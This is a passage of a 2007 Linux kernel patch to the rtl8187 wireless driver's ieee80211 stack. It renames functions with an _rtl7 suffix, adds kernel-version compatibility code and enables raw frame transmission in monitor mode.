ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-07-13 01:46:05.000000000 +0200 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + 